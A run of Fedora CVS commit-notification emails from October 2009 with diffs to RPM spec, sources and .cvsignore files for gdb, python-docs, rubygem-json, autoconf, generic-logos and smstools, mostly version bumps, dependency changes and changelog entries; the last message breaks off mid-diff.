-int score_target_insert_watchpoint (CORE_ADDR addr, int len, int type);
-int score_target_remove_watchpoint (CORE_ADDR addr, int len, int type);
-int score_target_insert_hw_breakpoint (struct gdbarch *gdbarch, struct bp_target_info * bp_tgt);
-int score_target_remove_hw_breakpoint (struct gdbarch *gdbarch, struct bp_target_info * bp_tgt);
-
-#define TARGET_HAS_HARDWARE_WATCHPOINTS
-
-#ifdef TARGET_CAN_USE_HARDWARE_WATCHPOINT
-#undef TARGET_CAN_USE_HARDWARE_WATCHPOINT
-
-#define TARGET_CAN_USE_HARDWARE_WATCHPOINT(type, cnt, ot) \
-    score_target_can_use_watch(type, cnt, ot)
-#endif
-
-#ifdef STOPPED_BY_WATCHPOINT
-#undef STOPPED_BY_WATCHPOINT
-
-#define STOPPED_BY_WATCHPOINT(w) \
-    score_stopped_by_watch()
-#endif
-
-#ifdef target_insert_watchpoint
-#undef target_insert_watchpoint
-
-#define target_insert_watchpoint(addr, len, type) \
-    score_target_insert_watchpoint (addr, len, type)
-#endif
-
-#ifdef target_remove_watchpoint
-#undef target_remove_watchpoint
-
-#define target_remove_watchpoint(addr, len, type) \
-    score_target_remove_watchpoint (addr, len, type)
-#endif
-
-#ifdef target_insert_hw_breakpoint
-#undef target_insert_hw_breakpoint
-
-#define target_insert_hw_breakpoint(gdbarch, bp_tgt) \
-    score_target_insert_hw_breakpoint (gdbarch, bp_tgt)
-#endif
-
-#ifdef target_remove_hw_breakpoint
-#undef target_remove_hw_breakpoint
-
-#define target_remove_hw_breakpoint(gdbarch, bp_tgt) \
-    score_target_remove_hw_breakpoint (gdbarch, bp_tgt)
-#endif
-
-#endif /* WITH_SIM */
-
 #endif /* SCORE_TDEP_H */
### ./gdb/version.in	6 Oct 2009 16:25:13 -0000	1.2997.2.26
### ./gdb/version.in	30 Oct 2009 00:00:33 -0000	1.2997.2.51
## -1 +1 @@
-7.0
+7.0.0.20091030-cvs


Index: gdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb.spec,v
retrieving revision 1.396
retrieving revision 1.397
diff -u -p -r1.396 -r1.397
--- gdb.spec	23 Oct 2009 20:05:50 -0000	1.396
+++ gdb.spec	30 Oct 2009 19:52:28 -0000	1.397
@@ -14,7 +14,7 @@ Version: 7.0
 
 # The release always contains a leading reserved number, start it at 1.
 # `upstream' is not a part of `name' to stay fully rpm dependencies compatible for the testing.
-Release: 5%{?_with_upstream:.upstream}%{?dist}
+Release: 6%{?_with_upstream:.upstream}%{?dist}
 
 License: GPLv3+
 Group: Development/Debuggers
@@ -215,8 +215,8 @@ Patch229: gdb-6.3-bz140532-ppc-unwinding
 # Testcase for exec() from threaded program (BZ 202689).
 Patch231: gdb-6.3-bz202689-exec-from-pthread-test.patch
 
-# Backported post gdb-6.8.50.20090991 snapshot fixups.
-#Patch232: gdb-6.8.50.20090921-upstream.patch
+# Backported post gdb-7.0 fixups.
+Patch232: gdb-7.0-upstream.patch
 
 # Testcase for PPC Power6/DFP instructions disassembly (BZ 230000).
 Patch234: gdb-6.6-bz230000-power6-disassembly-test.patch
@@ -377,6 +377,8 @@ BuildRequires: readline-devel
 # dlopen() no longer makes rpm-libs a mandatory dependency.
 #Requires: rpm-libs
 BuildRequires: rpm-devel
+Requires: zlib
+BuildRequires: zlib-devel
 %if 0%{!?_without_python:1}
 Requires: python-libs
 BuildRequires: python-devel
@@ -462,7 +464,7 @@ rm -f gdb/jv-exp.c gdb/m2-exp.c gdb/objc
 
 %if 0%{!?_with_upstream:1}
 
-#patch232 -p1
+%patch232 -p1
 %patch349 -p1
 %patch383 -p1
 %patch384 -p1
@@ -668,6 +670,8 @@ $(: RHEL-5 librpm has incompatible API. 
 make %{?_smp_mflags}
 make %{?_smp_mflags} info
 
+grep '#define HAVE_ZLIB_H 1' gdb/config.h
+
 # Copy the <sourcetree>/gdb/NEWS file to the directory above it.
 cp $RPM_BUILD_DIR/%{gdb_src}/gdb/NEWS $RPM_BUILD_DIR/%{gdb_src}
 
@@ -872,6 +876,10 @@ fi
 %endif
 
 %changelog
+* Fri Oct 30 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-6
+- Fix missing zlib-devel BuildRequires to support compressed DWARF sections.
+- Include post-7.0 FSF GDB fixes.
+
 * Fri Oct 23 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-5
 - Make the package buildable on RHEL-5/CentOS-5 (without librpm there).
 - archer-jankratochvil-fedora12 commit: 5b73ea6a0f74e63db3b504792fc1d37f548bdf5c



From dmalcolm at fedoraproject.org  Fri Oct 30 20:15:25 2009
From: dmalcolm at fedoraproject.org (dmalcolm)
Date: Fri, 30 Oct 2009 20:15:25 +0000 (UTC)
Subject: rpms/python-docs/devel python-docs.spec,1.23,1.24
Message-ID: <20091030201525.A303711C00E8@cvs1.fedora.phx.redhat.com>

Author: dmalcolm

Update of /cvs/pkgs/rpms/python-docs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17641

Modified Files:
	python-docs.spec 
Log Message:
- move to 2.6.4
- drop build requirement on python-jinja; python-sphinx requires python-jinja2
(bug 532135)




Index: python-docs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-docs/devel/python-docs.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- python-docs.spec	31 Jul 2009 14:14:21 -0000	1.23
+++ python-docs.spec	30 Oct 2009 20:15:24 -0000	1.24
@@ -12,7 +12,7 @@
 
 Summary: Documentation for the Python programming language
 Name: %{python}-docs
-Version: %{pybasever}.2
+Version: %{pybasever}.4
 Release: 1%{?dist}
 License: Python
 Group: Documentation
@@ -30,7 +30,7 @@ Provides: python2-docs = %{version}
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
-BuildRequires: %{python} python-sphinx python-docutils python-jinja
+BuildRequires: %{python} python-sphinx python-docutils
 BuildRequires: python-pygments
 URL: http://www.python.org/
 
@@ -66,6 +66,11 @@ rm -fr $RPM_BUILD_ROOT
 %doc Misc/HISTORY Doc/build/html
 
 %changelog
+* Fri Oct 30 2009 David Malcolm <dmalcolm at redhat.com> - 2.6.4-1
+- move to 2.6.4
+- drop build requirement on python-jinja; python-sphinx requires python-jinja2
+(bug 532135)
+
 * Fri Jul 31 2009 Jame Antill <james.antill at redhat.com> - 2.6.2-1
 - Move to 2.6.2 like python itself.
 



From laxathom at fedoraproject.org  Fri Oct 30 20:16:40 2009
From: laxathom at fedoraproject.org (Xavier LAMIEN)
Date: Fri, 30 Oct 2009 20:16:40 +0000 (UTC)
Subject: rpms/rubygem-json/F-11 .cvsignore, 1.2, 1.3 rubygem-json.spec, 1.1, 
	1.2 sources, 1.2, 1.3
Message-ID: <20091030201640.1B21011C00E8@cvs1.fedora.phx.redhat.com>

Author: laxathom

Update of /cvs/pkgs/rpms/rubygem-json/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18060/F-11

Modified Files:
	.cvsignore rubygem-json.spec sources 
Log Message:
Update release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-json/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Aug 2009 18:53:24 -0000	1.2
+++ .cvsignore	30 Oct 2009 20:16:39 -0000	1.3
@@ -1 +1 @@
-json-1.1.7.gem
+json-1.1.9.gem


Index: rubygem-json.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-json/F-11/rubygem-json.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rubygem-json.spec	14 Aug 2009 18:53:24 -0000	1.1
+++ rubygem-json.spec	30 Oct 2009 20:16:39 -0000	1.2
@@ -8,8 +8,8 @@
 
 
 Name:           rubygem-%{gemname}
-Version:        1.1.7
-Release:        3%{?dist}
+Version:        1.1.9
+Release:        1%{?dist}
 Summary:        A JSON implementation in Ruby
 
 Group:          Development/Languages
@@ -61,7 +61,6 @@ mkdir -p ./%{gemdir}
 
 %build
 export CONFIGURE_ARGS="--with-cflags='%{optflags}'"
-#pushd ./%{gemdir}
 gem install --local --install-dir .%{gemdir} -V --force %{SOURCE0}
 
 %install
@@ -170,7 +169,7 @@ popd
 %{geminstdir}/data
 %{geminstdir}/tests
 %{geminstdir}/benchmarks
-%{geminstdir}/doc-templates
+%{geminstdir}/doc-main.txt
 %{gemdir}/doc/%{gemname}-%{version}
 
 %files -n   ruby-%{gemname}
@@ -180,6 +179,9 @@ popd
 
 
 %changelog
+* Thu Oct 29 2009 Xavier Lamien <laxathom at fedoraproject.org> - 1.1.9-1
+- Update release.
+
 * Wed Aug 12 2009 Xavier Lamien <laxathom at fedoraproject.org> - 1.1.7-3
 - Fix gem scripts and install_dir.
 - Enable %%check stage.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-json/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Aug 2009 18:53:24 -0000	1.2
+++ sources	30 Oct 2009 20:16:39 -0000	1.3
@@ -1 +1 @@
-f8e760e37e1b6230de7ef7bd828e79c4  json-1.1.7.gem
+b29ddb63ba1c0d3a9ecdaf944df61157  json-1.1.9.gem



From laxathom at fedoraproject.org  Fri Oct 30 20:16:40 2009
From: laxathom at fedoraproject.org (Xavier LAMIEN)
Date: Fri, 30 Oct 2009 20:16:40 +0000 (UTC)
Subject: rpms/rubygem-json/devel rubygem-json.spec,1.1,1.2 sources,1.2,1.3
Message-ID: <20091030201640.A83DB11C00E8@cvs1.fedora.phx.redhat.com>

Author: laxathom

Update of /cvs/pkgs/rpms/rubygem-json/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18060/devel

Modified Files:
	rubygem-json.spec sources 
Log Message:
Update release


Index: rubygem-json.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-json/devel/rubygem-json.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rubygem-json.spec	14 Aug 2009 18:54:51 -0000	1.1
+++ rubygem-json.spec	30 Oct 2009 20:16:40 -0000	1.2
@@ -8,8 +8,8 @@
 
 
 Name:           rubygem-%{gemname}
-Version:        1.1.7
-Release:        3%{?dist}
+Version:        1.1.9
+Release:        1%{?dist}
 Summary:        A JSON implementation in Ruby
 
 Group:          Development/Languages
@@ -61,7 +61,6 @@ mkdir -p ./%{gemdir}
 
 %build
 export CONFIGURE_ARGS="--with-cflags='%{optflags}'"
-#pushd ./%{gemdir}
 gem install --local --install-dir .%{gemdir} -V --force %{SOURCE0}
 
 %install
@@ -170,7 +169,7 @@ popd
 %{geminstdir}/data
 %{geminstdir}/tests
 %{geminstdir}/benchmarks
-%{geminstdir}/doc-templates
+%{geminstdir}/doc-main.txt
 %{gemdir}/doc/%{gemname}-%{version}
 
 %files -n   ruby-%{gemname}
@@ -180,6 +179,9 @@ popd
 
 
 %changelog
+* Thu Oct 29 2009 Xavier Lamien <laxathom at fedoraproject.org> - 1.1.9-1
+- Update release.
+
 * Wed Aug 12 2009 Xavier Lamien <laxathom at fedoraproject.org> - 1.1.7-3
 - Fix gem scripts and install_dir.
 - Enable %%check stage.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-json/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Aug 2009 18:54:51 -0000	1.2
+++ sources	30 Oct 2009 20:16:40 -0000	1.3
@@ -1 +1 @@
-f8e760e37e1b6230de7ef7bd828e79c4  json-1.1.7.gem
+b29ddb63ba1c0d3a9ecdaf944df61157  json-1.1.9.gem



From laxathom at fedoraproject.org  Fri Oct 30 20:16:40 2009
From: laxathom at fedoraproject.org (Xavier LAMIEN)
Date: Fri, 30 Oct 2009 20:16:40 +0000 (UTC)
Subject: rpms/rubygem-json/F-12 rubygem-json.spec,1.1,1.2 sources,1.2,1.3
Message-ID: <20091030201640.73F8411C00E8@cvs1.fedora.phx.redhat.com>

Author: laxathom

Update of /cvs/pkgs/rpms/rubygem-json/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18060/F-12

Modified Files:
	rubygem-json.spec sources 
Log Message:
Update release


Index: rubygem-json.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-json/F-12/rubygem-json.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rubygem-json.spec	14 Aug 2009 18:54:51 -0000	1.1
+++ rubygem-json.spec	30 Oct 2009 20:16:40 -0000	1.2
@@ -8,8 +8,8 @@
 
 
 Name:           rubygem-%{gemname}
-Version:        1.1.7
-Release:        3%{?dist}
+Version:        1.1.9
+Release:        1%{?dist}
 Summary:        A JSON implementation in Ruby
 
 Group:          Development/Languages
@@ -61,7 +61,6 @@ mkdir -p ./%{gemdir}
 
 %build
 export CONFIGURE_ARGS="--with-cflags='%{optflags}'"
-#pushd ./%{gemdir}
 gem install --local --install-dir .%{gemdir} -V --force %{SOURCE0}
 
 %install
@@ -170,7 +169,7 @@ popd
 %{geminstdir}/data
 %{geminstdir}/tests
 %{geminstdir}/benchmarks
-%{geminstdir}/doc-templates
+%{geminstdir}/doc-main.txt
 %{gemdir}/doc/%{gemname}-%{version}
 
 %files -n   ruby-%{gemname}
@@ -180,6 +179,9 @@ popd
 
 
 %changelog
+* Thu Oct 29 2009 Xavier Lamien <laxathom at fedoraproject.org> - 1.1.9-1
+- Update release.
+
 * Wed Aug 12 2009 Xavier Lamien <laxathom at fedoraproject.org> - 1.1.7-3
 - Fix gem scripts and install_dir.
 - Enable %%check stage.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-json/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Aug 2009 18:54:51 -0000	1.2
+++ sources	30 Oct 2009 20:16:40 -0000	1.3
@@ -1 +1 @@
-f8e760e37e1b6230de7ef7bd828e79c4  json-1.1.7.gem
+b29ddb63ba1c0d3a9ecdaf944df61157  json-1.1.9.gem



From dmalcolm at fedoraproject.org  Fri Oct 30 20:22:15 2009
From: dmalcolm at fedoraproject.org (dmalcolm)
Date: Fri, 30 Oct 2009 20:22:15 +0000 (UTC)
Subject: rpms/python-docs/devel .cvsignore, 1.11, 1.12 python-docs.spec, 1.24,
	1.25 sources, 1.11, 1.12
Message-ID: <20091030202215.3188211C00E8@cvs1.fedora.phx.redhat.com>

Author: dmalcolm

Update of /cvs/pkgs/rpms/python-docs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19482

Modified Files:
	.cvsignore python-docs.spec sources 
Log Message:
update sources for 2.6.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-docs/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	31 Jul 2009 14:14:21 -0000	1.11
+++ .cvsignore	30 Oct 2009 20:22:14 -0000	1.12
@@ -1 +1 @@
-Python-2.6.2.tar.bz2
+Python-2.6.4.tar.bz2


Index: python-docs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-docs/devel/python-docs.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- python-docs.spec	30 Oct 2009 20:15:24 -0000	1.24
+++ python-docs.spec	30 Oct 2009 20:22:14 -0000	1.25
@@ -13,7 +13,7 @@
 Summary: Documentation for the Python programming language
 Name: %{python}-docs
 Version: %{pybasever}.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Python
 Group: Documentation
 Source: http://www.python.org/ftp/python/%{version}/Python-%{version}.tar.bz2
@@ -66,6 +66,9 @@ rm -fr $RPM_BUILD_ROOT
 %doc Misc/HISTORY Doc/build/html
 
 %changelog
+* Fri Oct 30 2009 David Malcolm <dmalcolm at redhat.com> - 2.6.4-2
+- update sources for 2.6.4
+
 * Fri Oct 30 2009 David Malcolm <dmalcolm at redhat.com> - 2.6.4-1
 - move to 2.6.4
 - drop build requirement on python-jinja; python-sphinx requires python-jinja2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-docs/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	31 Jul 2009 14:14:21 -0000	1.11
+++ sources	30 Oct 2009 20:22:14 -0000	1.12
@@ -1 +1 @@
-245db9f1e0f09ab7e0faaa0cf7301011  Python-2.6.2.tar.bz2
+fee5408634a54e721a93531aba37f8c1  Python-2.6.4.tar.bz2



From dmalcolm at fedoraproject.org  Fri Oct 30 20:26:27 2009
From: dmalcolm at fedoraproject.org (dmalcolm)
Date: Fri, 30 Oct 2009 20:26:27 +0000 (UTC)
Subject: rpms/python-docs/F-12 python-docs.spec,1.23,1.24
Message-ID: <20091030202627.4BAB811C00E8@cvs1.fedora.phx.redhat.com>

Author: dmalcolm

Update of /cvs/pkgs/rpms/python-docs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20590

Modified Files:
	python-docs.spec 
Log Message:
drop build requirement on python-jinja; python-sphinx requires python-jinja2
(bug 532135)



Index: python-docs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-docs/F-12/python-docs.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- python-docs.spec	31 Jul 2009 14:14:21 -0000	1.23
+++ python-docs.spec	30 Oct 2009 20:26:26 -0000	1.24
@@ -13,7 +13,7 @@
 Summary: Documentation for the Python programming language
 Name: %{python}-docs
 Version: %{pybasever}.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: Python
 Group: Documentation
 Source: http://www.python.org/ftp/python/%{version}/Python-%{version}.tar.bz2
@@ -30,7 +30,7 @@ Provides: python2-docs = %{version}
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
-BuildRequires: %{python} python-sphinx python-docutils python-jinja
+BuildRequires: %{python} python-sphinx python-docutils
 BuildRequires: python-pygments
 URL: http://www.python.org/
 
@@ -66,6 +66,10 @@ rm -fr $RPM_BUILD_ROOT
 %doc Misc/HISTORY Doc/build/html
 
 %changelog
+* Fri Oct 30 2009 David Malcolm <dmalcolm at redhat.com> - 2.6.2-2
+- drop build requirement on python-jinja; python-sphinx requires python-jinja2
+(bug 532135)
+
 * Fri Jul 31 2009 Jame Antill <james.antill at redhat.com> - 2.6.2-1
 - Move to 2.6.2 like python itself.
 



From kasal at fedoraproject.org  Fri Oct 30 20:31:39 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 20:31:39 +0000 (UTC)
Subject: rpms/autoconf/devel autoconf.spec,1.57,1.58
Message-ID: <20091030203139.38A9011C00E8@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/autoconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21813

Modified Files:
	autoconf.spec 
Log Message:
- new upstream version
- skip failing test


Index: autoconf.spec
===================================================================
RCS file: /cvs/extras/rpms/autoconf/devel/autoconf.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- autoconf.spec	12 Aug 2009 16:00:35 -0000	1.57
+++ autoconf.spec	30 Oct 2009 20:31:38 -0000	1.58
@@ -1,15 +1,17 @@
 Summary:    A GNU tool for automatically configuring source code
 Name:       autoconf
-Version:    2.63
-Release:    4%{?dist}
+Version:    2.64
+Release:    1%{?dist}
 License:    GPLv2+ and GFDL
 Group:      Development/Tools
-Source:     http://ftp.gnu.org/gnu/autoconf/autoconf-%{version}.tar.lzma
+Source:     http://ftp.gnu.org/gnu/autoconf/autoconf-%{version}.tar.xz
 Source1:    filter-provides-automake.sh
 Source2:    filter-requires-automake.sh
 URL:        http://www.gnu.org/software/autoconf/
-BuildRequires:      m4 >= 1.4.7, emacs
-Requires:           m4 >= 1.4.7
+# m4 >= 1.4.6 is required, >= 1.4.13 is recommended:
+BuildRequires:      m4 >= 1.4.13
+Requires:           m4 >= 1.4.13
+BuildRequires:      emacs
 Requires(post):     /sbin/install-info
 Requires(preun):    /sbin/install-info
 BuildArch: noarch
@@ -40,14 +42,16 @@ their use.
 %setup -q
 
 %build
-# use ./configure here to avoid copying config.{sub,guess} with those from the
-# rpm package
-./configure --prefix=%{_prefix} --mandir=%{_mandir} --infodir=%{_infodir} \
-  --bindir=%{_bindir} --datadir=%{_datadir}
-make #  %{?_smp_mflags}  The Makefile is not smp safe.
+%configure
+# not parallel safe
+make
 
 %check
-make check VERBOSE=yes
+# The following test is failing.
+# 182: autotest.at:1197   parallel autotest and signal handling
+# In test/autotest.at, under comment "Test PIPE", the exit code written
+# to file "status" is 0.  Report mailed to bug-autoconf.
+make check TESTSUITEFLAGS='-181 183-'
 
 %install
 rm -rf ${RPM_BUILD_ROOT}
@@ -79,6 +83,10 @@ fi
 %doc AUTHORS COPYING ChangeLog NEWS README THANKS TODO
 
 %changelog
+* Fri Oct 30 2009 Stepan Kasal <skasal at redhat.com> - 2.64-1
+- new upstream version
+- skip failing test
+
 * Tue Aug 11 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.63-4
 - Use lzma compressed upstream tarball.
 



From notting at fedoraproject.org  Fri Oct 30 20:36:35 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Fri, 30 Oct 2009 20:36:35 +0000 (UTC)
Subject: rpms/generic-logos/F-12 .cvsignore, 1.11, 1.12 generic-logos.spec, 
	1.14, 1.15 sources, 1.12, 1.13
Message-ID: <20091030203635.A7F3411C02A0@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/generic-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23055/F-12

Modified Files:
	.cvsignore generic-logos.spec sources 
Log Message:
12.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	30 Oct 2009 18:01:55 -0000	1.11
+++ .cvsignore	30 Oct 2009 20:36:34 -0000	1.12
@@ -1 +1 @@
-generic-logos-12.1.tar.bz2
+generic-logos-12.2.tar.bz2


Index: generic-logos.spec
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/F-12/generic-logos.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- generic-logos.spec	30 Oct 2009 18:01:55 -0000	1.14
+++ generic-logos.spec	30 Oct 2009 20:36:34 -0000	1.15
@@ -1,6 +1,6 @@
 Name: generic-logos
 Summary: Icons and pictures
-Version: 12.1
+Version: 12.2
 Release: 1%{?dist}
 Group: System Environment/Base
 Source0: generic-logos-%{version}.tar.bz2
@@ -87,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 # end i386 bits
 
 %changelog
+* Fri Oct 30 2009 Bill Nottingham <notting at redhat.com> - 12.2-1
+- tweak anaconda.png/svg to match rest of icons (<duffy at redhat.com>)
+
 * Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.1-1
 - 12.1 (add generic versions of anaconda.png/svg)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	30 Oct 2009 18:01:55 -0000	1.12
+++ sources	30 Oct 2009 20:36:34 -0000	1.13
@@ -1 +1 @@
-247d09a2a9d738dc24fc3c1cb1b489d4  generic-logos-12.1.tar.bz2
+8ecfc42b1b6a580b42790a191ba714a9  generic-logos-12.2.tar.bz2



From notting at fedoraproject.org  Fri Oct 30 20:36:35 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Fri, 30 Oct 2009 20:36:35 +0000 (UTC)
Subject: rpms/generic-logos/devel .cvsignore, 1.9, 1.10 generic-logos.spec, 
	1.13, 1.14 sources, 1.11, 1.12
Message-ID: <20091030203635.A298B11C00E8@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/extras/rpms/generic-logos/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23055/devel

Modified Files:
	.cvsignore generic-logos.spec sources 
Log Message:
12.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	12 May 2009 18:37:58 -0000	1.9
+++ .cvsignore	30 Oct 2009 20:36:34 -0000	1.10
@@ -1 +1 @@
-generic-logos-11.0.1.tar.bz2
+generic-logos-12.2.tar.bz2


Index: generic-logos.spec
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/devel/generic-logos.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- generic-logos.spec	30 Oct 2009 18:01:56 -0000	1.13
+++ generic-logos.spec	30 Oct 2009 20:36:34 -0000	1.14
@@ -1,6 +1,6 @@
 Name: generic-logos
 Summary: Icons and pictures
-Version: 12.1
+Version: 12.2
 Release: 1%{?dist}
 Group: System Environment/Base
 Source0: generic-logos-%{version}.tar.bz2
@@ -87,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 # end i386 bits
 
 %changelog
+* Fri Oct 30 2009 Bill Nottingham <notting at redhat.com> - 12.2-1
+- tweak anaconda.png/svg to match rest of icons (<duffy at redhat.com>)
+
 * Fri Oct 30 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.1-1
 - 12.1 (add generic versions of anaconda.png/svg)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/generic-logos/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	30 Oct 2009 18:01:56 -0000	1.11
+++ sources	30 Oct 2009 20:36:34 -0000	1.12
@@ -1 +1 @@
-247d09a2a9d738dc24fc3c1cb1b489d4  generic-logos-12.1.tar.bz2
+8ecfc42b1b6a580b42790a191ba714a9  generic-logos-12.2.tar.bz2



From kasal at fedoraproject.org  Fri Oct 30 20:41:42 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 20:41:42 +0000 (UTC)
Subject: rpms/autoconf/devel .cvsignore,1.13,1.14 sources,1.13,1.14
Message-ID: <20091030204142.D0CE611C00E8@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/autoconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25115

Modified Files:
	.cvsignore sources 
Log Message:
- new upstream version
- skip failing test


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/autoconf/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	12 Aug 2009 16:00:35 -0000	1.13
+++ .cvsignore	30 Oct 2009 20:41:42 -0000	1.14
@@ -1 +1 @@
-autoconf-2.63.tar.lzma
+autoconf-2.64.tar.xz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/autoconf/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Aug 2009 16:00:35 -0000	1.13
+++ sources	30 Oct 2009 20:41:42 -0000	1.14
@@ -1 +1 @@
-670b25f8b42118d2313f7593d9d89fda  autoconf-2.63.tar.lzma
+9decdd5c672fd403ea467bb0789bc194  autoconf-2.64.tar.xz



From pcfe at fedoraproject.org  Fri Oct 30 20:49:29 2009
From: pcfe at fedoraproject.org (=?utf-8?q?Patrick_Charles_Fran=C3=A7ois_Ernzer?=)
Date: Fri, 30 Oct 2009 20:49:29 +0000 (UTC)
Subject: rpms/smstools/devel smstools3-3.1.5-loglocation.patch, NONE,
	1.1 smsd.logrotate, 1.2, 1.3 smstools.spec, 1.10, 1.11
Message-ID: <20091030204929.C474711C00E8@cvs1.fedora.phx.redhat.com>

Author: pcfe

Update of /cvs/pkgs/rpms/smstools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26692

Modified Files:
	smsd.logrotate smstools.spec 
Added Files:
	smstools3-3.1.5-loglocation.patch 
Log Message:
- Major changes, now running as non-root
- corrected typo in my name in previous changelog entry
- log files now go to /var/log/smsd (copied that bit from the uucp RPM)
- creating smstools user if it does not exist
- will run as user smstools now, did not manage to make it work as system user without login though
- after deliberation, decided on having system user (mysql user also has shell, so this should be OK)
- added flag -m to useradd


smstools3-3.1.5-loglocation.patch:
 smsd.conf.easy     |    6 +++++-
 smsd.conf.full     |    9 ++++++---
 smsd.conf.non-root |    5 ++++-
 3 files changed, 15 insertions(+), 5 deletions(-)

--- NEW FILE smstools3-3.1.5-loglocation.patch ---
diff -up smstools3/examples/smsd.conf.easy.loglocation smstools3/examples/smsd.conf.easy
--- smstools3/examples/smsd.conf.easy.loglocation	2006-02-04 21:52:06.000000000 +0200
+++ smstools3/examples/smsd.conf.easy	2009-10-11 02:21:26.000000000 +0300
@@ -1,8 +1,12 @@
 # Example smsd.conf. Read the manual for a description
 
 devices = GSM1
-logfile = /var/log/smsd.log
+logfile = /var/log/smsd/smsd.log
 loglevel = 7
+user = smstools
+# 3.1.5 introduced smart logging
+# once your configuration is OK, set log level lower (5 is good in most cases)
+smart_logging = yes
 
 [GSM1]
 device = /dev/ttyS0
diff -up smstools3/examples/smsd.conf.full.loglocation smstools3/examples/smsd.conf.full
--- smstools3/examples/smsd.conf.full.loglocation	2007-05-20 11:58:28.000000000 +0300
